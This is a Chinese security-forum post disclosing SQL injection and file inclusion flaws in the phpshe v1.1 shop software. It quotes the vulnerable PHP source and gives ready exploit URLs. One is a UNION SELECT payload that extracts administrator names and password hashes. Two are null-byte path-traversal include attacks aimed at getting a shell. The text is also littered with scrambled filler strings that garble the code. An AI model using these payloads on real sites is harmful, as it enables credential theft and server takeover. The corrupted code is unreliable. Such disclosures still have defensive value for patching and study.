中国网络渗透测试联盟

标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell [打印本页]

作者: admin    时间: 2013-4-19 19:01
标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell
/*******************************************************/) b- P4 H8 P( {& }6 }
/* Phpshe v1.1 Vulnerability
( C' d% K: V! E: ~/* ========================9 d# Y+ |' _  a& k
/* By: : Kn1f30 S# Y9 G0 C3 r5 |
/* E-Mail : 681796@qq.com
; R) M3 S' S9 ~2 G/*******************************************************/0 l. M0 K9 d- d
0×00 整体大概参数传输* c& I/ {4 Z* D7 x) H3 R

. L5 k9 V6 J! _& M8 @9 F
3 D3 N5 t5 \, N

" Q3 c" {; L3 Q% p9 S* Z$ p' M//common.php/ I- Z+ b4 W% {! p( D" \
if (get_magic_quotes_gpc()) {1 T1 C: I! U+ P& W/ P
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');# O+ Y: {2 I& h( E6 G+ E% k$ V
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
3 u; C, N9 j2 E}
7 o' V  `. h; [else {
9 l( I7 O: I0 j8 S( q6 W!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
3 A$ a: f) j' }. G!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');4 Y% o2 [- f& n# s
}3 [7 G: ]3 ]9 l/ N* B+ D! {
session_start();
% ^; t" N; r2 |; |" ?! B! H!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
$ l4 R8 k5 w1 H9 x!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');- q1 X0 s. A. t) S
1 j' \: \' |+ n) _
0×01 包含漏洞
$ s, P: i" j: i8 w9 K' h  j$ {# B / U- e6 c0 z! G( ?  I  V' J

4 V7 b- C. O6 v//首页文件0 D: _& B/ r3 Y. R
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
9 r; h% n6 C- Uinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
1 L6 X* D& X. o; Ope_result();
8 L6 n( |) Z, A6 l% @?>
$ p" k: J( a- y6 n# y$ k8 p$ I' h//common 文件 第15行开始. j- v' p% E0 [, K/ q. ?8 E5 E1 Z6 G: s
url路由配置
3 ]9 E$ O. w( o8 E0 R4 d% o$module = $mod = $act = 'index';) p( e! \) ~$ O: \
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);7 P6 p3 q5 C/ f- o( ?
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);" J) m* Y# K* K( |
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);( f; A) R" Q, L2 ~, B' m% d! ~( f
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
( i9 H* U, ~  H4 _: l


. \$ [5 ~7 M) g6 Z2 X8 g$ \ * O! w6 |) h) U9 y# D" K
0×02 搜索注入; ~5 ?# t# B/ d

. |5 n8 z7 o0 u+ u! e+ W' q: Q$ z<code id="code2">

//product.php文件
9 B3 e2 }, E+ z% Ycase 'list':
1 F8 J3 \! O! R% r$ }$category_id = intval($id);
% B7 e& z. q# A: V% C$info = $db->pe_select('category', array('category_id'=>$category_id));" \5 u- Z/ e: Q. y! b
//搜索
0 V  J$ s2 K* x  O; M0 ]# E$sqlwhere = " and `product_state` = 1";
& s& i8 \3 \. I3 R( u# V0 ype_lead('hook/category.hook.php');, E$ G; S7 h+ k9 Y* [
if ($category_id) {
6 F; z4 Y, V, v  wwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";* c& D) L$ a1 x  t
}; C, m% M( P) c7 Y4 w  Y
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
+ e9 g2 T8 H5 G  a+ }  S3 e# tif ($_g_orderby) {( Y$ \5 |* d/ i% M3 N% ~
$orderby = explode('_', $_g_orderby);" c+ u: z1 C* g3 @4 @* @' E
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
) _( i1 h( }: }}
+ M  b- b- u9 O% p9 ]( E% g0 v0 Uelse {, ^8 {3 ^0 O! a: A' |7 E
$sqlwhere .= " order by `product_id` desc";
5 Z+ w- ]0 c- J( ]/ g3 L}4 }  n/ O1 o7 K7 v( d2 p: R
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));- S  B7 }5 E  J+ o
//热卖排行2 I. z( Y! b2 T
$product_hotlist = product_hotlist();, g% t. }6 Z# G3 B2 z5 T
//当前路径: A8 X8 O# x+ F; k5 X, X, y
$nowpath = category_path($category_id);
6 z& r/ o! M& P$ F/ E$seo = pe_seo($info['category_name']);: r4 |' Y- Q! q! Q- r) ]4 w
include(pe_tpl('product_list.html'));0 D5 |8 Y/ W$ E" ^+ o% }
//跟进selectall函数库
! U0 G) A( p% H0 j) S4 R4 lpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())* {3 N" D4 `$ p- R9 Y
{8 L, y; J2 D+ c; P2 a& C
//处理条件语句" }% E, {/ N# F5 B$ d2 h( a8 Q
$sqlwhere = $this->_dowhere($where);
. _6 c& p% o, Zreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);2 _' A& F% I% c3 Y2 }
}
$ \0 `$ U& u  Y: `- I  |2 R: |//exp
0 Y0 t7 {2 j% E. K1 M; Z$ aproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
' z- J! w- w, f( x2 ~! R3 b

</code>
% @4 k% h1 R3 {- ` 7 f1 d5 t3 A$ M  e$ f- ?3 p
0×03 包含漏洞20 v7 }2 f1 `: j- A5 @! V" U$ _! w$ g- h4 E
" d" c1 l, B* W# b: L6 M, Y" G
<code id="code3">

//order.php

case 'pay':

" L' `, ?" ?, g) [7 L
$order_id = pe_dbhold($_g_id);

8 P8 v# n& \! d! u. h9 l
$cache_payway = cache::get('payway');


# S) c) O' y/ M+ v/ wforeach($cache_payway as $k => $v) {


# {3 H4 \, Z' S+ l1 j! V, o$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

; I& P2 J3 Q) n5 {& M
if ($k == 'bank') {


0 U# k9 m& `8 _* Q* J$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


+ P" t' g/ B. v& Z}

! H( O& r" n+ v5 N8 Z
}

! M" g/ x0 }, i1 D3 e/ k& H8 w
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

5 p$ ~2 c& o$ G5 l1 N2 T
!$order['order_id'] && pe_error('订单号错误...');

. v8 [+ ^4 p) [' J9 w6 T4 E
if (isset($_p_pesubmit)) {


6 K$ K  a7 P" v3 `4 I' ]7 p/ ?if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


. d: i; i, D: N4 \" y1 ?$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


$ r6 J0 i) i3 o7 r4 d: r& Oforeach ($info_list as $v) {

$ P8 x, h3 a3 a- H* X! k5 p; x, T
$order['order_name'] .= "{$v['product_name']};";; p+ b/ `: a) C& G, e

% B4 N! D/ |$ M
}

- Z  A; V# r3 p! b
echo '正在为您连接支付网站,请稍后...';


& O6 S/ m2 D+ h* t+ c* E8 jinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

: N) R2 s. Y! U; R
}//当一切准备好的时候就可以进行"鸡肋包含了"


+ L0 W# i3 R' W3 V& r8 G7 Pelse {


! t# Y$ U+ }" N/ jpe_error('支付错误...');


) r% D8 M  d2 S  X}


* g% T9 F2 ]8 I6 ~}

  n* b7 A  y" [1 }7 K- w% n0 @
$seo = pe_seo('选择支付方式');

; l2 u8 g! e& Q( M
include(pe_tpl('order_pay.html'));

: P* u4 {9 L8 f$ X
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>$ y" b7 c& T6 _; u! L1 Z2 |





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2